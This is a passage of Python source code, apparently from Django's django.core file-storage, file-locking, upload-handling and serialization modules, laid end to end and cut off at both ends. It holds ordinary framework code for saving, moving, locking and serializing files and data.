                    flags = (os.O_WRONLY | os.O_CREAT | os.O_EXCL |
                             getattr(os, 'O_BINARY', 0))
                    # The current umask value is masked out by os.open!
                    fd = os.open(full_path, flags, 0o666)
                    _file = None
                    try:
                        locks.lock(fd, locks.LOCK_EX)
                        for chunk in content.chunks():
                            if _file is None:
                                mode = 'wb' if isinstance(chunk, bytes) else 'wt'
                                _file = os.fdopen(fd, mode)
                            _file.write(chunk)
                    finally:
                        locks.unlock(fd)
                        if _file is not None:
                            _file.close()
                        else:
                            os.close(fd)
            except OSError as e:
                if e.errno == errno.EEXIST:
                    # Ooops, the file exists. We need a new file name.
                    name = self.get_available_name(name)
                    full_path = self.path(name)
                else:
                    raise
            else:
                # OK, the file save worked. Break out of the loop.
                break

        if self.file_permissions_mode is not None:
            os.chmod(full_path, self.file_permissions_mode)

        # Store filenames with forward slashes, even on Windows.
        return force_text(name.replace('\\', '/'))

    def delete(self, name):
        assert name, "The name argument is not allowed to be empty."
        name = self.path(name)
        # If the file exists, delete it from the filesystem.
        # If os.remove() fails with ENOENT, the file may have been removed
        # concurrently, and it's safe to continue normally.
        try:
            os.remove(name)
        except OSError as e:
            if e.errno != errno.ENOENT:
                raise

    def exists(self, name):
        return os.path.exists(self.path(name))

    def listdir(self, path):
        path = self.path(path)
        directories, files = [], []
        for entry in os.listdir(path):
            if os.path.isdir(os.path.join(path, entry)):
                directories.append(entry)
            else:
                files.append(entry)
        return directories, files

    def path(self, name):
        return safe_join(self.location, name)

    def size(self, name):
        return os.path.getsize(self.path(name))

    def url(self, name):
        if self.base_url is None:
            raise ValueError("This file is not accessible via a URL.")
        url = filepath_to_uri(name)
        if url is not None:
            url = url.lstrip('/')
        return urljoin(self.base_url, url)

    def accessed_time(self, name):
        warnings.warn(
            'FileSystemStorage.accessed_time() is deprecated in favor of '
            'get_accessed_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        return datetime.fromtimestamp(os.path.getatime(self.path(name)))

    def created_time(self, name):
        warnings.warn(
            'FileSystemStorage.created_time() is deprecated in favor of '
            'get_created_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        return datetime.fromtimestamp(os.path.getctime(self.path(name)))

    def modified_time(self, name):
        warnings.warn(
            'FileSystemStorage.modified_time() is deprecated in favor of '
            'get_modified_time().',
            RemovedInDjango20Warning,
            stacklevel=2,
        )
        return datetime.fromtimestamp(os.path.getmtime(self.path(name)))

    def _datetime_from_timestamp(self, ts):
        """
        If timezone support is enabled, make an aware datetime object in UTC;
        otherwise make a naive one in the local timezone.
        """
        if settings.USE_TZ:
            # Safe to use .replace() because UTC doesn't have DST
            return datetime.utcfromtimestamp(ts).replace(tzinfo=timezone.utc)
        else:
            return datetime.fromtimestamp(ts)

    def get_accessed_time(self, name):
        return self._datetime_from_timestamp(os.path.getatime(self.path(name)))

    def get_created_time(self, name):
        return self._datetime_from_timestamp(os.path.getctime(self.path(name)))

    def get_modified_time(self, name):
        return self._datetime_from_timestamp(os.path.getmtime(self.path(name)))


def get_storage_class(import_path=None):
    return import_string(import_path or settings.DEFAULT_FILE_STORAGE)


class DefaultStorage(LazyObject):
    def _setup(self):
        self._wrapped = get_storage_class()()

default_storage = DefaultStorage()






"""
Utility functions for handling images.

Requires Pillow as you might imagine.
"""
import struct
import zlib

from django.core.files import File


class ImageFile(File):
    """
    A mixin for use alongside django.core.files.base.File, which provides
    additional features for dealing with images.
    """
    def _get_width(self):
        return self._get_image_dimensions()[0]
    width = property(_get_width)

    def _get_height(self):
        return self._get_image_dimensions()[1]
    height = property(_get_height)

    def _get_image_dimensions(self):
        if not hasattr(self, '_dimensions_cache'):
            close = self.closed
            self.open()
            self._dimensions_cache = get_image_dimensions(self, close=close)
        return self._dimensions_cache


def get_image_dimensions(file_or_path, close=False):
    """
    Returns the (width, height) of an image, given an open file or a path.  Set
    'close' to True to close the file at the end if it is initially in an open
    state.
    """
    from PIL import ImageFile as PillowImageFile

    p = PillowImageFile.Parser()
    if hasattr(file_or_path, 'read'):
        file = file_or_path
        file_pos = file.tell()
        file.seek(0)
    else:
        file = open(file_or_path, 'rb')
        close = True
    try:
        # Most of the time Pillow only needs a small chunk to parse the image
        # and get the dimensions, but with some TIFF files Pillow needs to
        # parse the whole file.
        chunk_size = 1024
        while 1:
            data = file.read(chunk_size)
            if not data:
                break
            try:
                p.feed(data)
            except zlib.error as e:
                # ignore zlib complaining on truncated stream, just feed more
                # data to parser (ticket #19457).
                if e.args[0].startswith("Error -5"):
                    pass
                else:
                    raise
            except struct.error:
                # Ignore PIL failing on a too short buffer when reads return
                # less bytes than expected. Skip and feed more data to the
                # parser (ticket #24544).
                pass
            if p.image:
                return p.image.size
            chunk_size *= 2
        return (None, None)
    finally:
        if close:
            file.close()
        else:
            file.seek(file_pos)






"""
Portable file locking utilities.

Based partially on an example by Jonathan Feignberg in the Python
Cookbook [1] (licensed under the Python Software License) and a ctypes port by
Anatoly Techtonik for Roundup [2] (license [3]).

[1] http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/65203
[2] http://sourceforge.net/p/roundup/code/ci/default/tree/roundup/backends/portalocker.py
[3] http://sourceforge.net/p/roundup/code/ci/default/tree/COPYING.txt

Example Usage::

    >>> from django.core.files import locks
    >>> with open('./file', 'wb') as f:
    ...     locks.lock(f, locks.LOCK_EX)
    ...     f.write('Django')
"""
import os

__all__ = ('LOCK_EX', 'LOCK_SH', 'LOCK_NB', 'lock', 'unlock')


def _fd(f):
    """Get a filedescriptor from something which could be a file or an fd."""
    return f.fileno() if hasattr(f, 'fileno') else f


if os.name == 'nt':
    import msvcrt
    from ctypes import (sizeof, c_ulong, c_void_p, c_int64,
                        Structure, Union, POINTER, windll, byref)
    from ctypes.wintypes import BOOL, DWORD, HANDLE

    LOCK_SH = 0  # the default
    LOCK_NB = 0x1  # LOCKFILE_FAIL_IMMEDIATELY
    LOCK_EX = 0x2  # LOCKFILE_EXCLUSIVE_LOCK

    # --- Adapted from the pyserial project ---
    # detect size of ULONG_PTR
    if sizeof(c_ulong) != sizeof(c_void_p):
        ULONG_PTR = c_int64
    else:
        ULONG_PTR = c_ulong
    PVOID = c_void_p

    # --- Union inside Structure by stackoverflow:3480240 ---
    class _OFFSET(Structure):
        _fields_ = [
            ('Offset', DWORD),
            ('OffsetHigh', DWORD)]

    class _OFFSET_UNION(Union):
        _anonymous_ = ['_offset']
        _fields_ = [
            ('_offset', _OFFSET),
            ('Pointer', PVOID)]

    class OVERLAPPED(Structure):
        _anonymous_ = ['_offset_union']
        _fields_ = [
            ('Internal', ULONG_PTR),
            ('InternalHigh', ULONG_PTR),
            ('_offset_union', _OFFSET_UNION),
            ('hEvent', HANDLE)]

    LPOVERLAPPED = POINTER(OVERLAPPED)

    # --- Define function prototypes for extra safety ---
    LockFileEx = windll.kernel32.LockFileEx
    LockFileEx.restype = BOOL
    LockFileEx.argtypes = [HANDLE, DWORD, DWORD, DWORD, DWORD, LPOVERLAPPED]
    UnlockFileEx = windll.kernel32.UnlockFileEx
    UnlockFileEx.restype = BOOL
    UnlockFileEx.argtypes = [HANDLE, DWORD, DWORD, DWORD, LPOVERLAPPED]

    def lock(f, flags):
        hfile = msvcrt.get_osfhandle(_fd(f))
        overlapped = OVERLAPPED()
        ret = LockFileEx(hfile, flags, 0, 0, 0xFFFF0000, byref(overlapped))
        return bool(ret)

    def unlock(f):
        hfile = msvcrt.get_osfhandle(_fd(f))
        overlapped = OVERLAPPED()
        ret = UnlockFileEx(hfile, 0, 0, 0xFFFF0000, byref(overlapped))
        return bool(ret)
else:
    try:
        import fcntl
        LOCK_SH = fcntl.LOCK_SH  # shared lock
        LOCK_NB = fcntl.LOCK_NB  # non-blocking
        LOCK_EX = fcntl.LOCK_EX
    except (ImportError, AttributeError):
        # File locking is not supported.
        LOCK_EX = LOCK_SH = LOCK_NB = 0

        # Dummy functions that don't do anything.
        def lock(f, flags):
            # File is not locked
            return False

        def unlock(f):
            # File is unlocked
            return True
    else:
        def lock(f, flags):
            ret = fcntl.flock(_fd(f), flags)
            return (ret == 0)

        def unlock(f):
            ret = fcntl.flock(_fd(f), fcntl.LOCK_UN)
            return (ret == 0)






"""
Move a file in the safest way possible::

    >>> from django.core.files.move import file_move_safe
    >>> file_move_safe("/tmp/old_file", "/tmp/new_file")
"""

import os
from shutil import copystat

from django.core.files import locks

__all__ = ['file_move_safe']


def _samefile(src, dst):
    # Macintosh, Unix.
    if hasattr(os.path, 'samefile'):
        try:
            return os.path.samefile(src, dst)
        except OSError:
            return False

    # All other platforms: check for same pathname.
    return (os.path.normcase(os.path.abspath(src)) ==
            os.path.normcase(os.path.abspath(dst)))


def file_move_safe(old_file_name, new_file_name, chunk_size=1024 * 64, allow_overwrite=False):
    """
    Moves a file from one location to another in the safest way possible.

    First, tries ``os.rename``, which is simple but will break across filesystems.
    If that fails, streams manually from one file to another in pure Python.

    If the destination file exists and ``allow_overwrite`` is ``False``, this
    function will throw an ``IOError``.
    """

    # There's no reason to move if we don't have to.
    if _samefile(old_file_name, new_file_name):
        return

    try:
        # If the destination file exists and allow_overwrite is False then raise an IOError
        if not allow_overwrite and os.access(new_file_name, os.F_OK):
            raise IOError("Destination file %s exists and allow_overwrite is False" % new_file_name)

        os.rename(old_file_name, new_file_name)
        return
    except OSError:
        # This will happen with os.rename if moving to another filesystem
        # or when moving opened files on certain operating systems
        pass

    # first open the old file, so that it won't go away
    with open(old_file_name, 'rb') as old_file:
        # now open the new file, not forgetting allow_overwrite
        fd = os.open(new_file_name, (os.O_WRONLY | os.O_CREAT | getattr(os, 'O_BINARY', 0) |
                                     (os.O_EXCL if not allow_overwrite else 0)))
        try:
            locks.lock(fd, locks.LOCK_EX)
            current_chunk = None
            while current_chunk != b'':
                current_chunk = old_file.read(chunk_size)
                os.write(fd, current_chunk)
        finally:
            locks.unlock(fd)
            os.close(fd)
    copystat(old_file_name, new_file_name)

    try:
        os.remove(old_file_name)
    except OSError as e:
        # Certain operating systems (Cygwin and Windows)
        # fail when deleting opened files, ignore it.  (For the
        # systems where this happens, temporary files will be auto-deleted
        # on close anyway.)
        if getattr(e, 'winerror', 0) != 32 and getattr(e, 'errno', 0) != 13:
            raise






from __future__ import unicode_literals

import os
from io import BytesIO, StringIO, UnsupportedOperation

from django.core.files.utils import FileProxyMixin
from django.utils import six
from django.utils.encoding import (
    force_bytes, force_str, python_2_unicode_compatible, smart_text,
)


@python_2_unicode_compatible
class File(FileProxyMixin):
    DEFAULT_CHUNK_SIZE = 64 * 2 ** 10

    def __init__(self, file, name=None):
        self.file = file
        if name is None:
            name = getattr(file, 'name', None)
        self.name = name
        if hasattr(file, 'mode'):
            self.mode = file.mode

    def __str__(self):
        return smart_text(self.name or '')

    def __repr__(self):
        return force_str("<%s: %s>" % (self.__class__.__name__, self or "None"))

    def __bool__(self):
        return bool(self.name)

    def __nonzero__(self):      # Python 2 compatibility
        return type(self).__bool__(self)

    def __len__(self):
        return self.size

    def _get_size_from_underlying_file(self):
        if hasattr(self.file, 'size'):
            return self.file.size
        if hasattr(self.file, 'name'):
            try:
                return os.path.getsize(self.file.name)
            except (OSError, TypeError):
                pass
        if hasattr(self.file, 'tell') and hasattr(self.file, 'seek'):
            pos = self.file.tell()
            self.file.seek(0, os.SEEK_END)
            size = self.file.tell()
            self.file.seek(pos)
            return size
        raise AttributeError("Unable to determine the file's size.")

    def _get_size(self):
        if hasattr(self, '_size'):
            return self._size
        self._size = self._get_size_from_underlying_file()
        return self._size

    def _set_size(self, size):
        self._size = size

    size = property(_get_size, _set_size)

    def chunks(self, chunk_size=None):
        """
        Read the file and yield chunks of ``chunk_size`` bytes (defaults to
        ``UploadedFile.DEFAULT_CHUNK_SIZE``).
        """
        if not chunk_size:
            chunk_size = self.DEFAULT_CHUNK_SIZE

        try:
            self.seek(0)
        except (AttributeError, UnsupportedOperation):
            pass

        while True:
            data = self.read(chunk_size)
            if not data:
                break
            yield data

    def multiple_chunks(self, chunk_size=None):
        """
        Returns ``True`` if you can expect multiple chunks.

        NB: If a particular file representation is in memory, subclasses should
        always return ``False`` -- there's no good reason to read from memory in
        chunks.
        """
        if not chunk_size:
            chunk_size = self.DEFAULT_CHUNK_SIZE
        return self.size > chunk_size

    def __iter__(self):
        # Iterate over this file-like object by newlines
        buffer_ = None
        for chunk in self.chunks():
            for line in chunk.splitlines(True):
                if buffer_:
                    if endswith_cr(buffer_) and not equals_lf(line):
                        # Line split after a \r newline; yield buffer_.
                        yield buffer_
                        # Continue with line.
                    else:
                        # Line either split without a newline (line
                        # continues after buffer_) or with \r\n
                        # newline (line == b'\n').
                        line = buffer_ + line
                    # buffer_ handled, clear it.
                    buffer_ = None

                # If this is the end of a \n or \r\n line, yield.
                if endswith_lf(line):
                    yield line
                else:
                    buffer_ = line

        if buffer_ is not None:
            yield buffer_

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_value, tb):
        self.close()

    def open(self, mode=None):
        if not self.closed:
            self.seek(0)
        elif self.name and os.path.exists(self.name):
            self.file = open(self.name, mode or self.mode)
        else:
            raise ValueError("The file cannot be reopened.")

    def close(self):
        self.file.close()


@python_2_unicode_compatible
class ContentFile(File):
    """
    A File-like object that takes just raw content, rather than an actual file.
    """
    def __init__(self, content, name=None):
        if six.PY3:
            stream_class = StringIO if isinstance(content, six.text_type) else BytesIO
        else:
            stream_class = BytesIO
            content = force_bytes(content)
        super(ContentFile, self).__init__(stream_class(content), name=name)
        self.size = len(content)

    def __str__(self):
        return 'Raw content'

    def __bool__(self):
        return True

    def __nonzero__(self):      # Python 2 compatibility
        return type(self).__bool__(self)

    def open(self, mode=None):
        self.seek(0)

    def close(self):
        pass


def endswith_cr(line):
    """
    Return True if line (a text or byte string) ends with '\r'.
    """
    return line.endswith('\r' if isinstance(line, six.text_type) else b'\r')


def endswith_lf(line):
    """
    Return True if line (a text or byte string) ends with '\n'.
    """
    return line.endswith('\n' if isinstance(line, six.text_type) else b'\n')


def equals_lf(line):
    """
    Return True if line (a text or byte string) equals '\n'.
    """
    return line == ('\n' if isinstance(line, six.text_type) else b'\n')






from django.core.files.base import File

__all__ = ['File']






"""
Base file upload handler classes, and the built-in concrete subclasses
"""

from __future__ import unicode_literals

from io import BytesIO

from django.conf import settings
from django.core.files.uploadedfile import (
    InMemoryUploadedFile, TemporaryUploadedFile,
)
from django.utils.encoding import python_2_unicode_compatible
from django.utils.module_loading import import_string

__all__ = [
    'UploadFileException', 'StopUpload', 'SkipFile', 'FileUploadHandler',
    'TemporaryFileUploadHandler', 'MemoryFileUploadHandler', 'load_handler',
    'StopFutureHandlers'
]


class UploadFileException(Exception):
    """
    Any error having to do with uploading files.
    """
    pass


@python_2_unicode_compatible
class StopUpload(UploadFileException):
    """
    This exception is raised when an upload must abort.
    """
    def __init__(self, connection_reset=False):
        """
        If ``connection_reset`` is ``True``, Django knows will halt the upload
        without consuming the rest of the upload. This will cause the browser to
        show a "connection reset" error.
        """
        self.connection_reset = connection_reset

    def __str__(self):
        if self.connection_reset:
            return 'StopUpload: Halt current upload.'
        else:
            return 'StopUpload: Consume request data, then halt.'


class SkipFile(UploadFileException):
    """
    This exception is raised by an upload handler that wants to skip a given file.
    """
    pass


class StopFutureHandlers(UploadFileException):
    """
    Upload handers that have handled a file and do not want future handlers to
    run should raise this exception instead of returning None.
    """
    pass


class FileUploadHandler(object):
    """
    Base class for streaming upload handlers.
    """
    chunk_size = 64 * 2 ** 10  # : The default chunk size is 64 KB.

    def __init__(self, request=None):
        self.file_name = None
        self.content_type = None
        self.content_length = None
        self.charset = None
        self.content_type_extra = None
        self.request = request

    def handle_raw_input(self, input_data, META, content_length, boundary, encoding=None):
        """
        Handle the raw input from the client.

        Parameters:

            :input_data:
                An object that supports reading via .read().
            :META:
                ``request.META``.
            :content_length:
                The (integer) value of the Content-Length header from the
                client.
            :boundary: The boundary from the Content-Type header. Be sure to
                prepend two '--'.
        """
        pass

    def new_file(self, field_name, file_name, content_type, content_length, charset=None, content_type_extra=None):
        """
        Signal that a new file has been started.

        Warning: As with any data from the client, you should not trust
        content_length (and sometimes won't even get it).
        """
        self.field_name = field_name
        self.file_name = file_name
        self.content_type = content_type
        self.content_length = content_length
        self.charset = charset
        self.content_type_extra = content_type_extra

    def receive_data_chunk(self, raw_data, start):
        """
        Receive data from the streamed upload parser. ``start`` is the position
        in the file of the chunk.
        """
        raise NotImplementedError('subclasses of FileUploadHandler must provide a receive_data_chunk() method')

    def file_complete(self, file_size):
        """
        Signal that a file has completed. File size corresponds to the actual
        size accumulated by all the chunks.

        Subclasses should return a valid ``UploadedFile`` object.
        """
        raise NotImplementedError('subclasses of FileUploadHandler must provide a file_complete() method')

    def upload_complete(self):
        """
        Signal that the upload is complete. Subclasses should perform cleanup
        that is necessary for this handler.
        """
        pass


class TemporaryFileUploadHandler(FileUploadHandler):
    """
    Upload handler that streams data into a temporary file.
    """
    def __init__(self, *args, **kwargs):
        super(TemporaryFileUploadHandler, self).__init__(*args, **kwargs)

    def new_file(self, *args, **kwargs):
        """
        Create the file object to append to as data is coming in.
        """
        super(TemporaryFileUploadHandler, self).new_file(*args, **kwargs)
        self.file = TemporaryUploadedFile(self.file_name, self.content_type, 0, self.charset, self.content_type_extra)

    def receive_data_chunk(self, raw_data, start):
        self.file.write(raw_data)

    def file_complete(self, file_size):
        self.file.seek(0)
        self.file.size = file_size
        return self.file


class MemoryFileUploadHandler(FileUploadHandler):
    """
    File upload handler to stream uploads into memory (used for small files).
    """

    def handle_raw_input(self, input_data, META, content_length, boundary, encoding=None):
        """
        Use the content_length to signal whether or not this handler should be in use.
        """
        # Check the content-length header to see if we should
        # If the post is too large, we cannot use the Memory handler.
        if content_length > settings.FILE_UPLOAD_MAX_MEMORY_SIZE:
            self.activated = False
        else:
            self.activated = True

    def new_file(self, *args, **kwargs):
        super(MemoryFileUploadHandler, self).new_file(*args, **kwargs)
        if self.activated:
            self.file = BytesIO()
            raise StopFutureHandlers()

    def receive_data_chunk(self, raw_data, start):
        """
        Add the data to the BytesIO file.
        """
        if self.activated:
            self.file.write(raw_data)
        else:
            return raw_data

    def file_complete(self, file_size):
        """
        Return a file object if we're activated.
        """
        if not self.activated:
            return

        self.file.seek(0)
        return InMemoryUploadedFile(
            file=self.file,
            field_name=self.field_name,
            name=self.file_name,
            content_type=self.content_type,
            size=file_size,
            charset=self.charset,
            content_type_extra=self.content_type_extra
        )


def load_handler(path, *args, **kwargs):
    """
    Given a path to a handler, return an instance of that handler.

    E.g.::
        >>> from django.http import HttpRequest
        >>> request = HttpRequest()
        >>> load_handler('django.core.files.uploadhandler.TemporaryFileUploadHandler', request)
        <TemporaryFileUploadHandler object at 0x...>
    """
    return import_string(path)(*args, **kwargs)






class FileProxyMixin(object):
    """
    A mixin class used to forward file methods to an underlaying file
    object.  The internal file object has to be called "file"::

        class FileProxy(FileProxyMixin):
            def __init__(self, file):
                self.file = file
    """

    encoding = property(lambda self: self.file.encoding)
    fileno = property(lambda self: self.file.fileno)
    flush = property(lambda self: self.file.flush)
    isatty = property(lambda self: self.file.isatty)
    newlines = property(lambda self: self.file.newlines)
    read = property(lambda self: self.file.read)
    readinto = property(lambda self: self.file.readinto)
    readline = property(lambda self: self.file.readline)
    readlines = property(lambda self: self.file.readlines)
    seek = property(lambda self: self.file.seek)
    softspace = property(lambda self: self.file.softspace)
    tell = property(lambda self: self.file.tell)
    truncate = property(lambda self: self.file.truncate)
    write = property(lambda self: self.file.write)
    writelines = property(lambda self: self.file.writelines)
    xreadlines = property(lambda self: self.file.xreadlines)

    @property
    def closed(self):
        return not self.file or self.file.closed

    def readable(self):
        if self.closed:
            return False
        if hasattr(self.file, 'readable'):
            return self.file.readable()
        return True

    def writable(self):
        if self.closed:
            return False
        if hasattr(self.file, 'writable'):
            return self.file.writable()
        return 'w' in getattr(self.file, 'mode', '')

    def seekable(self):
        if self.closed:
            return False
        if hasattr(self.file, 'seekable'):
            return self.file.seekable()
        return True

    def __iter__(self):
        return iter(self.file)






"""
Classes representing uploaded files.
"""

import errno
import os
from io import BytesIO

from django.conf import settings
from django.core.files import temp as tempfile
from django.core.files.base import File
from django.utils.encoding import force_str

__all__ = ('UploadedFile', 'TemporaryUploadedFile', 'InMemoryUploadedFile',
           'SimpleUploadedFile')


class UploadedFile(File):
    """
    A abstract uploaded file (``TemporaryUploadedFile`` and
    ``InMemoryUploadedFile`` are the built-in concrete subclasses).

    An ``UploadedFile`` object behaves somewhat like a file object and
    represents some file data that the user submitted with a form.
    """
    DEFAULT_CHUNK_SIZE = 64 * 2 ** 10

    def __init__(self, file=None, name=None, content_type=None, size=None, charset=None, content_type_extra=None):
        super(UploadedFile, self).__init__(file, name)
        self.size = size
        self.content_type = content_type
        self.charset = charset
        self.content_type_extra = content_type_extra

    def __repr__(self):
        return force_str("<%s: %s (%s)>" % (
            self.__class__.__name__, self.name, self.content_type))

    def _get_name(self):
        return self._name

    def _set_name(self, name):
        # Sanitize the file name so that it can't be dangerous.
        if name is not None:
            # Just use the basename of the file -- anything else is dangerous.
            name = os.path.basename(name)

            # File names longer than 255 characters can cause problems on older OSes.
            if len(name) > 255:
                name, ext = os.path.splitext(name)
                ext = ext[:255]
                name = name[:255 - len(ext)] + ext

        self._name = name

    name = property(_get_name, _set_name)


class TemporaryUploadedFile(UploadedFile):
    """
    A file uploaded to a temporary location (i.e. stream-to-disk).
    """
    def __init__(self, name, content_type, size, charset, content_type_extra=None):
        file = tempfile.NamedTemporaryFile(suffix='.upload', dir=settings.FILE_UPLOAD_TEMP_DIR)
        super(TemporaryUploadedFile, self).__init__(file, name, content_type, size, charset, content_type_extra)

    def temporary_file_path(self):
        """
        Returns the full path of this file.
        """
        return self.file.name

    def close(self):
        try:
            return self.file.close()
        except OSError as e:
            if e.errno != errno.ENOENT:
                # Means the file was moved or deleted before the tempfile
                # could unlink it.  Still sets self.file.close_called and
                # calls self.file.file.close() before the exception
                raise


class InMemoryUploadedFile(UploadedFile):
    """
    A file uploaded into memory (i.e. stream-to-memory).
    """
    def __init__(self, file, field_name, name, content_type, size, charset, content_type_extra=None):
        super(InMemoryUploadedFile, self).__init__(file, name, content_type, size, charset, content_type_extra)
        self.field_name = field_name

    def open(self, mode=None):
        self.file.seek(0)

    def chunks(self, chunk_size=None):
        self.file.seek(0)
        yield self.read()

    def multiple_chunks(self, chunk_size=None):
        # Since it's in memory, we'll never have multiple chunks.
        return False


class SimpleUploadedFile(InMemoryUploadedFile):
    """
    A simple representation of a file, which just has content, size, and a name.
    """
    def __init__(self, name, content, content_type='text/plain'):
        content = content or b''
        super(SimpleUploadedFile, self).__init__(BytesIO(content), None, name,
                                                 content_type, len(content), None, None)

    @classmethod
    def from_dict(cls, file_dict):
        """
        Creates a SimpleUploadedFile object from
        a dictionary object with the following keys:
           - filename
           - content-type
           - content
        """
        return cls(file_dict['filename'],
                   file_dict['content'],
                   file_dict.get('content-type', 'text/plain'))






"""
Serialize data to/from JSON
"""

# Avoid shadowing the standard library json module
from __future__ import absolute_import, unicode_literals

import datetime
import decimal
import json
import sys
import uuid

from django.core.serializers.base import DeserializationError
from django.core.serializers.python import (
    Deserializer as PythonDeserializer, Serializer as PythonSerializer,
)
from django.utils import six
from django.utils.duration import duration_iso_string
from django.utils.functional import Promise
from django.utils.timezone import is_aware


class Serializer(PythonSerializer):
    """
    Convert a queryset to JSON.
    """
    internal_use_only = False

    def _init_options(self):
        if json.__version__.split('.') >= ['2', '1', '3']:
            # Use JS strings to represent Python Decimal instances (ticket #16850)
            self.options.update({'use_decimal': False})
        self._current = None
        self.json_kwargs = self.options.copy()
        self.json_kwargs.pop('stream', None)
        self.json_kwargs.pop('fields', None)
        if self.options.get('indent'):
            # Prevent trailing spaces
            self.json_kwargs['separators'] = (',', ': ')
        self.json_kwargs.setdefault('cls', DjangoJSONEncoder)

    def start_serialization(self):
        self._init_options()
        self.stream.write("[")

    def end_serialization(self):
        if self.options.get("indent"):
            self.stream.write("\n")
        self.stream.write("]")
        if self.options.get("indent"):
            self.stream.write("\n")

    def end_object(self, obj):
        # self._current has the field data
        indent = self.options.get("indent")
        if not self.first:
            self.stream.write(",")
            if not indent:
                self.stream.write(" ")
        if indent:
            self.stream.write("\n")
        json.dump(self.get_dump_object(obj), self.stream, **self.json_kwargs)
        self._current = None

    def getvalue(self):
        # Grand-parent super
        return super(PythonSerializer, self).getvalue()


def Deserializer(stream_or_string, **options):
    """
    Deserialize a stream or string of JSON data.
    """
    if not isinstance(stream_or_string, (bytes, six.string_types)):
        stream_or_string = stream_or_string.read()
    if isinstance(stream_or_string, bytes):
        stream_or_string = stream_or_string.decode('utf-8')
    try:
        objects = json.loads(stream_or_string)
        for obj in PythonDeserializer(objects, **options):
            yield obj
    except GeneratorExit:
        raise
    except Exception as e:
        # Map to deserializer error
        six.reraise(DeserializationError, DeserializationError(e), sys.exc_info()[2])


class DjangoJSONEncoder(json.JSONEncoder):
    """
    JSONEncoder subclass that knows how to encode date/time, decimal types and UUIDs.
    """
    def default(self, o):
        # See "Date Time String Format" in the ECMA-262 specification.
        if isinstance(o, datetime.datetime):
            r = o.isoformat()
            if o.microsecond:
                r = r[:23] + r[26:]
            if r.endswith('+00:00'):
                r = r[:-6] + 'Z'
            return r
        elif isinstance(o, datetime.date):
            return o.isoformat()
        elif isinstance(o, datetime.time):
            if is_aware(o):
                raise ValueError("JSON can't represent timezone-aware times.")
            r = o.isoformat()
            if o.microsecond:
                r = r[:12]
            return r
        elif isinstance(o, datetime.timedelta):
            return duration_iso_string(o)
        elif isinstance(o, decimal.Decimal):
            return str(o)
        elif isinstance(o, uuid.UUID):
            return str(o)
        elif isinstance(o, Promise):
            return six.text_type(o)
        else:
            return super(DjangoJSONEncoder, self).default(o)






"""
A Python "serializer". Doesn't do much serializing per se -- just converts to
and from basic Python data types (lists, dicts, strings, etc.). Useful as a basis for
other serializers.
"""
from __future__ import unicode_literals

from collections import OrderedDict

from django.apps import apps
from django.conf import settings
from django.core.serializers import base
from django.db import DEFAULT_DB_ALIAS, models
from django.utils import six
from django.utils.encoding import force_text, is_protected_type


class Serializer(base.Serializer):
    """
    Serializes a QuerySet to basic Python objects.
    """

    internal_use_only = True

    def start_serialization(self):
        self._current = None
        self.objects = []

    def end_serialization(self):
        pass

    def start_object(self, obj):
        self._current = OrderedDict()

    def end_object(self, obj):
        self.objects.append(self.get_dump_object(obj))
        self._current = None

    def get_dump_object(self, obj):
        data = OrderedDict([('model', force_text(obj._meta))])
        if not self.use_natural_primary_keys or not hasattr(obj, 'natural_key'):
            data["pk"] = force_text(obj._get_pk_val(), strings_only=True)
        data['fields'] = self._current
        return data

    def handle_field(self, obj, field):
        value = field.value_from_object(obj)
        # Protected types (i.e., primitives like None, numbers, dates,
        # and Decimals) are passed through as is. All other values are
        # converted to string first.
        if is_protected_type(value):
            self._current[field.name] = value
        else:
            self._current[field.name] = field.value_to_string(obj)

    def handle_fk_field(self, obj, field):
        if self.use_natural_foreign_keys and hasattr(field.remote_field.model, 'natural_key'):
            related = getattr(obj, field.name)
            if related:
                value = related.natural_key()
            else:
                value = None
        else:
            value = getattr(obj, field.get_attname())
            if not is_protected_type(value):
                value = field.value_to_string(obj)
        self._current[field.name] = value

    def handle_m2m_field(self, obj, field):
        if field.remote_field.through._meta.auto_created:
            if self.use_natural_foreign_keys and hasattr(field.remote_field.model, 'natural_key'):
                def m2m_value(value):
                    return value.natural_key()
            else:
                def m2m_value(value):
                    return force_text(value._get_pk_val(), strings_only=True)
            self._current[field.name] = [
                m2m_value(related) for related in getattr(obj, field.name).iterator()
            ]

    def getvalue(self):
        return self.objects


def Deserializer(object_list, **options):
    """
    Deserialize simple Python objects back into Django ORM instances.

    It's expected that you pass the Python objects themselves (instead of a
    stream or a string) to the constructor
    """
    db = options.pop('using', DEFAULT_DB_ALIAS)
    ignore = options.pop('ignorenonexistent', False)
    field_names_cache = {}  # Model: <list of field_names>

    for d in object_list:
        # Look up the model and starting build a dict of data for it.
        try:
            Model = _get_model(d["model"])
        except base.DeserializationError:
            if ignore:
                continue
            else:
                raise
        data = {}
        if 'pk' in d:
            try:
                data[Model._meta.pk.attname] = Model._meta.pk.to_python(d.get('pk'))
            except Exception as e:
                raise base.DeserializationError.WithData(e, d['model'], d.get('pk'), None)
        m2m_data = {}

        if Model not in field_names_cache:
            field_names_cache[Model] = {f.name for f in Model._meta.get_fields()}
        field_names = field_names_cache[Model]

        # Handle each field
        for (field_name, field_value) in six.iteritems(d["fields"]):

            if ignore and field_name not in field_names:
                # skip fields no longer on model
                continue

            if isinstance(field_value, str):
                field_value = force_text(
                    field_value, options.get("encoding", settings.DEFAULT_CHARSET), strings_only=True
                )

            field = Model._meta.get_field(field_name)

            # Handle M2M relations
            if field.remote_field and isinstance(field.remote_field, models.ManyToManyRel):
                model = field.remote_field.model
                if hasattr(model._default_manager, 'get_by_natural_key'):
                    def m2m_convert(value):
                        if hasattr(value, '__iter__') and not isinstance(value, six.text_type):
                            return model._default_manager.db_manager(db).get_by_natural_key(*value).pk
                        else:
                            return force_text(model._meta.pk.to_python(value), strings_only=True)
                else:
                    def m2m_convert(v):
                        return force_text(model._meta.pk.to_python(v), strings_only=True)

                try:
                    m2m_data[field.name] = []
                    for pk in field_value:
                        m2m_data[field.name].append(m2m_convert(pk))
                except Exception as e:
                    raise base.DeserializationError.WithData(e, d['model'], d.get('pk'), pk)

            # Handle FK fields
            elif field.remote_field and isinstance(field.remote_field, models.ManyToOneRel):
                model = field.remote_field.model
                if field_value is not None:
                    try:
                        default_manager = model._default_manager
                        field_name = field.remote_field.field_name
                        if hasattr(default_manager, 'get_by_natural_key'):
                            if hasattr(field_value, '__iter__') and not isinstance(field_value, six.text_type):
